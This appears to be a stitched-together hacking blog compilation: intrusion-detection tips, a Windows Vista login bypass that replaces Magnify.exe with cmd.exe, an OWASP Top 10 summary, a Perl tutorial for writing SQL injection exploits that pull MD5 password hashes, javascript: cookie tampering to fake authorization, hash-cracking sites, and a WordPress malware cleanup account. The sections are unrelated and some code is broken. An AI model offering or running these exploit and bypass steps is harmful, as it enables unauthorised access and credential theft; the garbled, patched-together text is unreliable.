Hacking is a Creativity

Tip 1: Hackers cover their tracks. Experienced hackers cover them more thorougly, but amateur hackers sometimes leave things behind. Don’t expect them to leave any really big evidence behind; expect more of little things here and there you might find surprising. For example, if you’re writing a term paper and a black hat hacker accidently saved it when he took a paragraph out- that’s suspicious. Where did that paragraph go? Well, for one thing, now you know he was in that area. Check the folders surrounding the file- you might find something.

Tip 2: Decipher between the type of hackers that are attacking you. Experienced hackers will have a more in depth look around when they penetrate your system. They won’t touch much because they know that that won’t add too much to their knowledge. But if you know a hacker’s been in, and some files are messed with, and you have a log of someone guessing passwords to a file or something of that sort, its probably some newbie who’s just starting out. These are the easiest hackers to catch. They usually get so caught up in thoughts like “I’m in!” that they forget the basics, such as work behind a proxy.

My friend was setting up a webserver once. His first time too, and he wasn’t to anxious to set up some good software to protect against hackers and viruses. He didn’t put up one IDS, and before you know it, the obvious happened. But this time, a newbie had struck. The nice log files showed, bluntly across the screen, multiple instances of a foreign IP address that stood out. Some stupid newbie had tried to login as “uucp” on my friend’s XP computer, with a password of “uucp.” Well, that’s great, but he also had tried the same user/pass combination three times, enough to get himself logged nicely. Even a semi-brainless user with some form of neurological system knows that uucp isn’t a default XP account. Again, excitement toiled this hacker’s brain, and maybe if he hadn’t done that, along with a few other stupid things, he wouldn’t have gotten caught. What other things did he do? Well, lets see. He openned 35 instances of MS-DOS. He tried to clean the printer’s heads, and he edited a .gif in notepad. Then he uninstalled a few programs and installed some html editor, and replaced four files with the words “14P.”

He might as well have posted his phone number. In a few days, we had tracked him down to a
suburban town in Ohio. We let him go, not pressing any charges, because he had done nothing really damaging and had provided me with an example of a moron for this guide.

Tip 3: Don’t go crazy if you lose data. Chances are, if it was that important, you would have backed it up anyway. Most hackers nowadays wish they were back in 1989 when they could use a Black Box and having a Rainbow Book actually meant something. Most hackers aren’t blackhat, they are whitehat, and some even greyhat. But in the end, most hackers that are in systems aren’t satisfied by looking around. From past experiences, I have concluded that many hackers like to remember where’ve they been. So, what do they do? They either press delete here and there, or copy some files onto their systems. Stupid hackers (yes, there are plenty of stupid hackers) send files to e-mail addresses. Some free email companies will give you the IP of a certain e-mail address’s user if you can prove that user has been notoriously hacking you. But most of the time, by the time you get the e-mail addy it’s been unused for weeks if not months or years, and services like hotmail have already deleted it.

Tip 4: Save information! Any information that you get from a log file (proxy server IP, things like “14P”, e-mail addresses that things were sent to, etc.) should be saved to a floppy disk (they’re not floppy anymore, I wish I could get out of the habit of calling them that) incase there’s a next time. If you get another attack, from the same proxy, or with similar e-mail addresses (e.g: one says Blackjack 123@something.whatever and the other says Black_jack_45@something.znn.com) you can make an assumption that these hackers are the same people. In that case, it would probably be worth the effort to resolve the IP using the proxy and do a traceroute. Pressing charges is recommended if this is a repeat offender.

Tip 5: Don’t be stupid. If you’ve been hacked, take security to the next level. Hackers do talk about people they’ve hacked and they do post IPs and e-mail addresses. Proof? Take a look at Defcon Conventions. I’ve never gone to one, but I’ve seen the photos. The “Wall of Shame”-type of boards I’ve seen have IPs and e-mail addresses written all over them in fat red, dry-erase ink. Don’t be the one to go searching the Defcon website and find your e-mail address posted on the Wall of Shame board!

Tip 6: Don’t rely on luck. Chances are, sometime or another, you’re going to be targeted for an attack. Here you can rely on luck. Maybe they’ll forget? Maybe they don’t know how to do it? If you think this way, a surprise is going to hit your face very hard. Another way you could stupidly rely on luck is by saying this: It’s probably just a whitehat. On the contrary, my friend, it’s probably just a blackhat. A blackhat with knowledge stored in his head, ready to be used as an ax. It’s your data. You take the chance.

Requirements :

1 ) Windows Vista DVD
2 ) Computer with Windows Vista

Please follow steps below to reset your Windows Vista Password in 10 minutes.

Steps :

1. Insert the Windows Vista DVD into the DVD drive and then restart the computer.
2. Change Boot Options 1st Priority to Optical Drive.
3. When system booting up, if the message “Press any key to boot from cd” appears, immediately press Enter.
4. On Language Settings, Time and Currency and Keyboard Layout screen, just choose the correct settings then click Next.
5. On Install Now screen, click Repair. Note: Click No just in case you get the message: Windows found problems with your computer’s startup options.
6. On the System Recovery Options screen, under Operating System, click Windows Vista then click Next. Then select Command Prompt.
7. At the command prompt windows, type the following command then press Enter after typing each command:
c:
cd windows\system32
echo ~takeown /f %1 /r /d y > TakeControlOf.cmd
echo ~icacls %1 /grant administrators:F /t
ren Magnify.exe Magnify.old
ren cmd.exe Magnify.exe
8. Restart the computer.
9. On the Welcome Screen, click the Ease button.
10. Check Make items on the screen larger then click OK.
11. At the prompt, type the command then press Enter.

net user Administrator /active:yes
exit
12. Restart the computer.


13. At the welcome screen, logon using the local administrator account.
14. Access Control Panel then click User Accounts. Select the username of the account you can’t login to then remove the password.
15. Log off on the current local administrator account your are logon to.
16. Check if you can logon to your user account now.
17. Open c:\windows\system32.
18. Right click on Magnify.exe, select Properties -> Security -> Advanced -> Owner -> Edit -> Administrators then click OK.
19. Select Edit -> Administrators -> Full Control then click Apply then OK.
20. Rename Magnify.old to Magnify.exe
21. Open command prompt then type the command then press Enter.
net user Administrator /active:no

i hope this will help you :) feedback will be appreciate.

1. Cross site scripting (XSS)

The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.
Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder.

Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.

How to protect users: Use a whitelist to validate all incoming data, which rejects any data that’s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. “Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,” OWASP says.


2. Injection flaws

The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter — which interprets text-based commands — into executing unintended commands. “Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,” OWASP writes. “In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.”

Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.

How to protect users: Avoid using interpreters if possible. “If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,” OWASP writes.

3. Malicious file execution

The problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.

Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.

How to protect users: Don’t use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems.

4. Insecure direct object reference

The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.

Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.

“References to database keys are frequently exposed,” OWASP writes. “An attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.”

Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000 companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.

How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you can’t avoid direct references, authorize Web site visitors before using them


5. Cross site request forgery

The problem: “Simple and devastating,” this attack takes control of victim’s browser when it is logged onto a Web site, and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or “remember me” functionality. Banks are potential targets.

“Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery,” Williams says. “Has there been an actual exploit where someone’s lost money? Probably the banks don’t even know. To the bank, all it looks like is a legitimate transaction from a logged-in user.”

Real-world example: A hacker known as Samy gained more than a million “friends” on MySpace.com with a worm in late 2005, automatically including the message “Samy is my hero” in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. Another example that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user’s language preferences.

How to protect users: Don’t rely on credentials or tokens automatically submitted by browsers. “The only solution is to use a custom token that the browser will not ‘remember,’” OWASP writes.

6. Information leakage and improper error handling

The problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the program’s configuration and internal workings.

“Web applications will often leak information about their internal state through detailed or debug error messages. Often, this information can be leveraged to launch or even automate more powerful attacks,” OWASP says.

Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere in this category. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the company’s database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.

How to protect users: Use a testing tool such as OWASP’S WebScarab Project to see what errors your application generates. “Applications that have not been tested in this way will almost certainly generate unexpected error output,” OWASP writes.


7. Broken authentication and session management

The problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.

“Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question and account update,” OWASP writes.

Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in 2002. Revealed by a networking products reseller, the flaw was vulnerable to e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.

How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.

Another tip: get rid of custom cookies used for authentication or session management.

8. Insecure cryptographic storage

The problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, it’s often poorly designed, using inappropriate ciphers.

“These flaws can lead to disclosure of sensitive data and compliance violations,” OWASP writes.

Real-world example: The TJX data breach that exposed 45.7 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005.
How to protect users: Don’t invent your own cryptographic algorithms. “Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing,” OWASP advises.

Furthermore, generate keys offline, and never transmit private keys over insecure channels.


9. Insecure communications

The problem: Similar to No. 8, this is a failure to encrypt network traffic when it’s necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.

Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable price-checking devices, cash registers and store computers, the Wall Street Journal reported.

“The $17.4-billion retailer’s wireless network had less security than many people have on their home networks,” the Journal wrote. TJX was using the WEP encoding system, rather than the more robust WPA.

How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.


10. Failure to restrict URL access

The problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often there’s no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as “123456.” A hacker might say ‘I wonder what’s in 123457?’ Williams says.

The attacks targeting this vulnerability are called forced browsing, “which encompasses guessing links and brute force techniques to find unprotected pages,” OWASP says.

Real-world example: A hole on the Macworld Conference & Expo Web site this year let users get “Platinum” passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.

How to protect users: Don’t assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the user’s role and privileges. “Make sure this is done … every step of the way, not just once towards the beginning of any multi-step process,’ OWASP advises.

—+— StArT

[1] Introduction

Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an
easiest life to everyone who decide to start writing a perl exploit.
There are few requisites u need to proceed:
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc…);
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc…).

Now, we are ready to start…

[2] Little panning of Perl language used into an internet context

Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the
server side (or other..). To make this u need to use some “Perl modules”.
Those modules must be put on the head of the script. In this tut we are going to use only the “IO::Socket” module, but
there are thousand and if u are curious just search on cpan to retrieve info on every module.

[-] Using the IO::Socket module
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting
of the script “use IO::Socket”. With this module u’ll be able to connect to every server defined previously, using
a chomp, look at the example.

Example:
print “Insert the host to connect: “;
chomp ($host=);

Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this
host. To do this, we must create a new sock that will be used by the interpreter to connect.
To create this we are going to write something like this:

$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";

In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp
($host=www.fbi.gov).
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").
Resume:
- Proto=>TCP -------> The protocol to use (TCP/UDP)
- PeerAddr=> -------> The server/host to connect
- PeerPort=> -------> Port to use for the connection

Ok, now let's go to the next step, which is the real hearth of this tut.

[3] Perl SQL Injection

Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.

The SQL code must be treaty like a normal variable (like “$injection”).

Example:
$injection=index.php/forum?=[SQL_CODE]

This string means that we are going to inject the query into “index.php/forum” path, following the correct syntax that
will bring us to cause a SQL Injection “?=”.

Now we must create a piece of code that will go to inject this query into the host vuln.

print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;

This piece of code is the most important one into the building of an exploit.
It can be considered the “validation” of the connection.
In this case the “print” command doesn’t show anything on screen, but it creates a dialogue and sends commands to the host.

In the first line the script will send a “GET” to the selected page defined into “$injection”.
In the third line it tells to the host “who/what” is making the request of “GET”. In this case this is Hacker, but it
can be “Mozilla/5.0 Firefox/1.0.4″ or other.
In the fourth line it defines the host to connect to, “$host”.

With the execution of this script we have made our injection.

Resume of the exploit:

use IO::Socket

print “Insert the host to connect: “;
chomp ($host=);

$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";

$injection=index.php/forum?=[SQL_CODE]

print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;
close ($sock); #this line terminates the connection

A little trick:

Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.
Additionally, u want that your script will show the PWD on your screen.
Well, to make this, the next piece of code, could be one of the possible solutions.

while($answer = <$sock>) {
if ($answer =~ /([0-9a-f]{32})/) {
print “]+[ Found! The hash is: $1n”;
exit(); }

This string means that if the answer of the host will show a “word” made by 32 characters (”0″ to “9″ and “a” to “f”),
this word must be considered the MD5 Hash PWD and it must be showed on screen.

Conclusions:
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.
U could use also the module “LWP::Simple” in the place of “IO::Socket”, but u should change something into the code.
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.
pixelstats trackingpixel

JavaScript is a widely used technology within websites and web based applications. JavaScript can be used for all sorts of useful things and functions. But along with this comes some additional security issues that need to be thought of and tested for. JavaScript can be used not only for good purposes, but also for malicious purposes.

Using JavaScript an individual can modify and change existing information within a form. It can be used not only to change form input tags, but also the cookie’s that are currently set in the browser, and any other value within a website or web application. Any type of parameter manipulation that you want to perform can typically be done with Javascript injection.

To execute any javascript within a current session, a user would enter the specific javascript commands within the browser’s url bar minus the http://. All javascript commands must start with the javascript: tag followed by any javascript command that will be executed. All javascript is ended with a ; so a user could enter multiple javascript commands, as long as each command ended with the ;

JavaScript cookie modification
Using JavaScript a user can modify the current cookie settings. This can be performed with some basic JavaScript commands. To view the current contents of your current cookie/s, use the following JavaScript command.

javascript:alert(document.cookie);

This command will popup a box which lists your current cookies. A malicious user could use this to change values in the cookie. For example lets say a web application you are testing sets an authorization cookie to true when a user has successfully logged in and passed the authorization test. To change the values within the cookie, a malicious user would execute javascript like the following from the url bar within the browser.

javascript:void(document.cookie="authorization=true");

This would cause the current cookie parameter authorization=false to be changed to authorization=true. Which the malicious user might not have passed the original authorization test. The malicious user has just bypassed the authorization test and gained access to the sensitive content. As you could imagine, this could cause severe problems in privilege escalation, if the malicious user could use JavaScript injection to bypass the correct authorization process.

If you are testing for JavaScript injection and wish to see if the cookie has been altered you would execute a command simiar to the following, except you would want to replace the cookie name and value with the cookie you desire to test. Start with the javascript command to alter the cookie and then tack on the javascript alert function to view what the cookie was changed to. For example

javascript:void(document.cookie="authorization=true");javascript:alert(document.cookie);

JavaScript HTML Form modification
You can also use javascript to modify any value with an html form, including hidden forms, and disabled forms. The following is an example of how you would set an input tag named email within form number 0 (or the first form on the page)

javascript:void(document.forms[0].email.value="test@test.com");

How to protect against Javascript Injection
Always validate the input received against a whitelist. If you use a blacklist you could and probably will come up against encoding issues. Always use a whitelist when validating input.

Do not rely on client side validation to validate the user input. Client side validation is great for helping the user input correct data. But a malicious user will not use this and could bypass the client side validation. Client side validate is should never be considered as a security fix. Using javascript to validate input should not be used. As you can see javascript is very easy to change and modify on any html page.

Additionally validate the input everytime, not just when the data is initally accepted. For example if you set a cookie, make sure that cookie is the same value and it is correct on each and every request. A malicious user could modify and change the value anytime during the session.

Injecting javascript into existing pages
Not only can you use javascript to manipulate parameters, cookies, but you can also inject javascript into dynamic pages to cause the page to render differently, do something else, or some other malicious thing. Think of a XSS attack.

Come back soon and we will post some examples of this.

Using JavaScript is difficult. Isn’t there an easier way?
Actually there is an easier way to test for any type of parameter manipulation you can do with javascript injection. Using sometype of proxy that allows you to manipulate parameters on the fly is much easier. You can do this with a number of different applications. I’ve included a list of some of the proxy applications that allow you to do this.

* Paros Proxy
* TamperData

There are many, many more security testing proxy tools, this is just a short list of a few of the quick, easy, and nice tools to use.

Paros Proxy
Paros is a valuable testing tool for your security and vulnerability testing. Paros can be used to spider/crawl your entire site, and then execute canned vulnerability scanner tests. But Paros goes beyond that, it comes with a built in utility that can proxy traffic. This Paros Proxy utility can be used to tamper or manipulate any http or https traffic on the fly. This makes some of the more interesting security types of testing. It will help you isolate potential area’s of security concern and then manual attempt to perform the type of testing you desire.

Paros also comes with a built in Session ID analyzer. It will display a graph of all the types of Session ID’s it has been presented with using a multiple threaded session initiater. You then can determine if the graph appears random enough for the Session ID. It is a pretty unique and interesting tool to use. Although typically most developers will rely upon another technology tomcat, apache, or some other application to generate Session ID’s. This is not always the case and as such a Session ID analysis should be performed. Sometimes the Session ID will not be randomized enough and the hash used to create the Session ID is easily predictable.

Paros also comes with a built in Fuzzer. You will need to generate your own Fuzzer library to use the Fuzzer, but it will perform all the fuzzing for you.
http://www.parosproxy.org/index.shtml

TamperData
TamperData is an extension for Mozilla Firefox. You can use TamperData to halt the traffic http requests that are processing and to “Tamper”, change, modify any of the data that is being submitted to the website.

TamperData is easily installed within your Firefox browser and is extremely easy to use. It only takes a moment to install and become familiar with the way it works.

The one thing that I haven’t figured out to do with TamperData, is to modify HTTP GET parameters, I can see how to modify the HTTP headers, post parameters, but the GET parameters are a bit more misleading to me.

All in all TamperData is an easy, excellent way to see what your web application is doing, and start testing with different and various other types of data. Parameter manipulation is very easy to do, there is no need to use Javascript Injection or re-posting webpages. This is a much easier way to just tamper with the data as it is being submitted to the web application.
http://tamperdata.mozdev.org/

http://gdataonline.com
http://md5.rednoize.com
http://ice.breaker.free.fr
http://www.milw0rm.com/md5/
http://shm.hard-core.pl/md5/
http://www.hashchecker.com
http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/
http://md5.benramsey.com
http://md5.altervista.org
http://shm.hard-core.pl
http://plain-text.info
http://www.passcracking.ru/
http://www.securitystats.com/tools/hashcrack.php
http://www.xmd5.org/index_en.htm

I experienced my first site hack this weekend thanks to a warning message from Kaspersky Internet Security. When I logged into the admin panel of WordPress, it detected the gumblar.cn/rss/?* in my Firefox browser. After a little Google research, I found out that this was a PHP script injection that had found its way into many of the PHP files of my site, including the index.php and index-extra.php of the wp-admin folder, functions.php in the wp-includes folder, index.php in the wp-content folder, custom-functions.php in the Thesis theme’s custom folder, and even the main wp-config.php file in the root. The code was in the beginning of these php files, and started out as follows:

gumlar-exploit

Even after removing the code from the above pages, I still encountered the same warning message from Kaspersky, which meant the injection was in even more php files. I decided that checking each php file was going to take a lot of time, so I downloaded a fresh installation of WordPress 2.7.1 and the Thesis Theme. I only saved my original wp-config.php and custom-functions.php files after removing the injected PHP script because of the custom settings and code within them.

After the fresh installation, I still had the malware code on my site. The final folder that I didn’t check was my plug-ins. Sure enough, after I deleted all of my plug-ins, my site was finally free of the malicious code.

In summary, these were the steps I took to remove the code from my site, which took about two hours:

* Saving the original wp-config.php and custom-functions.php from Thesis after the removal of the script in the top line of the PHP
* Downloading and installing a fresh copy of Wordpress 2.7.1 and my current theme, Thesis 1.5
* Deleting all plug-ins and re-installing them from inside the WordPress admin panel
* Changing my WordPress and FTP login passwords to (hopefully) protect my site from further attacks

I can say with certainty that if I had not upgraded earlier in the week to the new WordPress 2.7.1 and Thesis Theme that this cleanup process would have been much more difficult, simply because I would have been forced to do the full upgrade in the middle of dealing with the hack would have been even more stressful. Plus with previous WordPress versions, I would not have been able to simply search and install the new plug-ins through the admin panel – it would have been the download, unzip, upload, and activate. And with any other theme, I would have certainly lost my custom coding in all of the theme template files without a recent backup. Fortunately with Thesis, all of the custom PHP coding is handled in the one custom-functions.php file.

I believe that the code was only on my site for more than four hours, as I had worked on my site earlier around 7pm, and did not receive the first warning message from Kaspersky until 11:30pm. Nonetheless, this goes to show that you should always make sure your antivirus and spyware programs are up to date, and that any coding customizations to your site should be saved often. Any website, trusted ones and even your own, is susceptible to unwanted surprise attacks.